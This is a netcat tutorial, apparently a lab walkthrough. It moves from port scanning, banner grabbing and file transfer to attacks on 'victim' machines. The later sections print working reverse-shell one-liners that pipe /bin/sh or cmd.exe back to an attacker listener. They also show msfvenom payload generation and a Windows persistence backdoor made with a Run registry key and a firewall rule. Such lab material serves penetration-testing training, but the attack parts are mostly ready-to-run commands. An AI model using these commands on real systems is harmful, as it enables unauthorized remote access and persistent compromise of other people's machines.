

# Using Netcat to debug and investigate the network.

## Netcat Basic command

### 1. Port Scanning

Netcat can be used as a port scanner, although it was not designed to function as. To make it worth as a scanner, we need to set the “-z” flag, which tells netcat, to scan listening daemon without sending any data. This makes it possible to understand the type of service that is running on that specific port.

Thus, netcat can perform both the TCP and the UDP scan, let’s check it out how:

#### TCP Scan

**[-v]**: indicates Verbose mode

**[-n]**: indicates numeric-only IP addresses

**[-z]**: indicates zero -I/O mode [used for scanning]

In order to complete this scan, we need to specify a range of ports. From the below image you can see that I’ve mentioned a port range of 21-100, which will dump the running services over the target’s machine.

```
root@kali:~# nc -v -n -z 192.168.1.105 21-100
(UNKNOWN) [192.168.1.105] 80 (http) open
(UNKNOWN) [192.168.1.105] 22 (ssh) open
(UNKNOWN) [192.168.1.105] 21 (ftp) open
root@kali:~#
```

#### UDP Scan

We can even scan the UDP ports in a similar way we scanned the TCP ones. Here we’ll be using the “-u” flag which will invoke the UDP mode.

We have mentioned the port number rather than the range. From the below image you can see that we’ve captured the running “SNMP” service.

```
root@kali:~# nc -vzu 192.168.1.105 161
192.168.1.105: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.1.105] 161 (snmp) open
root@kali:~#
```

### 2. Chatting

Netcat can also be used to chat between two users. But before that, we need to establish a connection.

To set up this all, we’ll be using two devices – one will play the role as an initiator and the other one will be a listener. As soon as this connection is established, the communication can be done from both ends.

Two users with different operating systems communicate with each other over a Netcat established connection.

Initially, kali’s root user needs to set up his netcat “listener” over a specific port, to build up a network connection by use: **nc -lvp 1234**

here,

**[l]**: Listen Mode

**[v]**: Verbose Mode

**[p]**: Local Port

Now it’s time to set up an initiator, we’ll be doing this from the Ubuntu’s root user, by simply providing the IP Address of the system where we have started the listener followed by the port number.

```
root@ubuntu:~# nc 192.168.1.109 1234
hi
hello
```

From the below image you can see that the connection has been set up and both the machines are now able to communicate with each other.

```
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
192.168.1.105: inverse host lookup failed: Unknown host
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.105] 52184
hi
hello
█
```

### 3. Banner Grabbing

Banner refers to a text message received from the host with information about the open ports and services along with their version numbers.

Run the following command to grab the target's **ftp** and **ssh** banners:

```
root@kali:~# nc 192.168.1.105 21
220 (vsFTPd 3.0.3)
^C
root@kali:~# nc 192.168.1.105 22
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1
^C
```

### 4. File Transfer

Netcat offers us an opportunity to transfer files from one device to another over a network. Let's follow up with a scenario, where a **kali user** exempts to transfer his files to a user at an **Ubuntu machine**.

From the below image the user over the kali machine sets up a listener at port number 5555, and shares file.txt using the "<" parameter.

```
root@kali:~# cat file.txt
Welcome to Hacking Articles
root@kali:~# nc -lvp 5555 < file.txt
listening on [any] 5555 ...
```

Now the user sitting at the Ubuntu server will download this file by running the following command. From the below image you can see that the Ubuntu user has successfully grabbed the file.txt file from 192.168.1.109 which is nothing but the kali user's IP.

```
root@ubuntu:~# nc 192.168.1.109 5555 > file.txt
^C
root@ubuntu:~# cat file.txt
Welcome to Hacking Articles
```

### 5. Linux Reverse Shell

As discussed earlier netcat can perform anything, so now we'll try to exploit the target's machine with the help of "msfvenom" to create a payload and will set up a netcat listener to grab a session.

Let's try to create a payload:

```

root@kali:~# msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 103 bytes
mkfifo /tmp/jahrzdd; nc 192.168.1.109 6666 0</tmp/jahrzdd | /bin/sh >/tmp/jahrzdd 2>&1; rm /tmp/jahrzdd

```

From the above image, you can see that our payload is ready, now its time to trigger it over our victim's server.

Open the Ubuntu machine and type this payload in the terminal. Before firing it up, get back to the attacker's machine (Kali Linux) and setup the netcat listener over there by using the same port number that you used while generating the payload.

```

root@ubuntu:~# mkfifo /tmp/jahrzdd; nc 192.168.1.109 6666 0</tmp/jahrzdd | /bin/sh >/tmp/jahrzdd 2>&1; rm /tmp/jahrzdd

```

From the below image you can see that, as soon as the victim runs the payload, we'll get the session.

```

root@kali:~# nc -lvp 6666
listening on [any] 6666 ...
192.168.1.105: inverse host lookup failed: Unknown host
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.105] 58516
ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.105 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::6c54:9cdb:ada0:b197 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:8c:f6:d6 txqueuelen 1000 (Ethernet)
    RX packets 61824 bytes 84050340 (84.0 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 22512 bytes 1544032 (1.5 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

There are many times when the **security gets high** and we fail to grab the session using this method, but there is another way to get a reverse shell.

Before that, set up a netcat **listener** at port **443**:

As the listener boots in, just execute the following commands in the target's machine:

This will help you to bypass the security and offer you a netcat session.

```

root@ubuntu:~# mknod /tmp/backpipe p
root@ubuntu:~# /bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe

```

From the below image you can see that we've successfully captured the victim's shell.

```

root@kali:~# nc -lvp 443
listening on [any] 443 ...
192.168.1.105: inverse host lookup failed: Unknown host
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.105] 33308
ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.105 netmask 255.255.255.0 broadcast 192.168.1.255
    inet6 fe80::6c54:9cdb:ada0:b197 prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:8c:f6:d6 txqueuelen 1000 (Ethernet)
    RX packets 61874 bytes 84055113 (84.0 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 22540 bytes 1547158 (1.5 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

## 6. Randomized Port

There are chances when we aren't able to decide the very own port to set up a listener or to establish a netcat connection. Well, netcat has a special **"-r"** flag which will provide us with the randomized local port.

From the below image you can see that our listener has been started at 38931.



```
root@kali:~# nc -lv -r
listening on [any] 38931 ...
```

## 7. Grabbing the HTTP Banner

HTTP banners are now can't be fetched easily, as they contain the server's information. But we can use netcat to capture information about any webserver.

Simply run the following command in order to manipulate the target's server and check what we have grabbed.

From the below image you can see that I've successfully captured the HTTP banner and we are presented with the Apache server.

```
root@kali:~# printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.1.105 80
HTTP/1.1 200 OK
Date: Fri, 26 Jun 2020 22:05:18 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Fri, 26 Jun 2020 21:15:54 GMT
ETag: "1c-5a90336e80366"
Accept-Ranges: bytes
Content-Length: 28
Connection: close
Content-Type: text/html

Welcome to Hacking Articles
```

## 8. Windows Reverse Connection

A system's backdoor welcomes us every time with open hands whenever we knockback.

Thus, we'll try to generate such a similar backdoor over the target's windows machine, which allows us to get in, at any time when we come back.

Let's set up a listener over our kali machine first: **nc -lvp 4444**

Now execute the following command over the victim's windows command prompt to create a backdoor.

```
C:\Users\raj\Downloads>nc.exe 192.168.1.109 4444 -e cmd.exe
```

Time to get back to our **attacker's machine**. From the below image you can see that we are into the victim's command shell.

```
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.1.108: inverse host lookup failed: Unknown host
connect to [192.168.1.109] from (UNKNOWN) [192.168.1.108] 55324
Microsoft Windows [Version 10.0.18363.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\raj\Downloads>
```

## 9. Windows 10 Persistence

Persistence plays a major role in an attacker's life. So, let's try to create a persistent backdoor using netcat and Metasploit framework, on the host machine which we have compromised.

From the below image you can see that I've grabbed a meterpreter session of a Windows 10 machine.

Now upload netcat.exe file into system32 in the victim's pc.

```
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
[*] uploading : /usr/share/windows-binaries/nc.exe -> C:\\windows\\system32
[*] uploaded : /usr/share/windows-binaries/nc.exe -> C:\\windows\\system32\\nc.exe
```

Now set up netcat to a **listener** at any random port say **4445**, open the port on startup and make the connection.

```
meterpreter > reg setval -k HKLM\software\microsoft\windows\currentversion\run -v netcat -d 'C:\windows\system32\nc.exe -l -p 4445 -e cmd.exe'
Successfully set netcat of REG_SZ.
```

On a successful netcat connection, we will get the reverse\_shell of the victim's PC.

Now its time to add up a new rule to firewall named as '**netcat**' in which the **inbound connection** will allow for port 4445 by using the interactive cmd prompt running a command called **netsh**.

Let's check out the operational mode and the port status.

```
meterpreter > shell
Process 7184 created.
Channel 2 created.
Microsoft Windows [Version 10.0.18362.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
Ok.

C:\Windows\system32>netsh firewall show portopening:
netsh firewall show portopening

Port configuration for Domain profile:
Port Protocol Mode Traffic direction Name
-----
4445 TCP Enable Inbound 'netcat'

Port configuration for Standard profile:
Port Protocol Mode Traffic direction Name
-----
4445 TCP Enable Inbound 'netcat'

IMPORTANT: Command executed successfully.
However, "netsh firewall" is deprecated;
use "netsh advfirewall firewall" instead.
For more information on using "netsh advfirewall firewall" commands
instead of "netsh firewall", see KB article 947709
at https://go.microsoft.com/fwlink/?linkid=121488 .
```

So with all that, we are done. Now when the victim **reboots the system** again, we will get the netcat shell. Run the following command to connect our **netcat backdoor** via port **4445**.

We've successfully maintained the **permanent backdoor**, now whenever the victim boots in we'll always have its session.

```
root@kali:~# nc -nv 192.168.1.105 4445
(UNKNOWN) [192.168.1.105] 4445 (?) open
Microsoft Windows [Version 10.0.18362.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

## 10. Msfvenom Payload with Netcat

Until now we've learned everything about Netcat, from its basic things to its advanced ones.

So we can connect with the victim through our Netcat\_shell using a msfvenom payload.

Fire up the terminal and run the following command to generate a .exe payload.

```
root@kali:~# msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.104 lport=3333 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes
root@kali:~#
```

Now turn on the Netcat **listener** over port **3333**.

Share this generated payload with the victim, as soon as he/she opens it up you'll get the **reverse connection**.

```
root@kali:~# nc -lvp 3333
listening on [any] 3333 ...
192.168.1.109: inverse host lookup failed: Unknown host
connect to [192.168.1.104] from (UNKNOWN) [192.168.1.109] 61185
Microsoft Windows [Version 10.0.18363.900]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\raj\Desktop>
```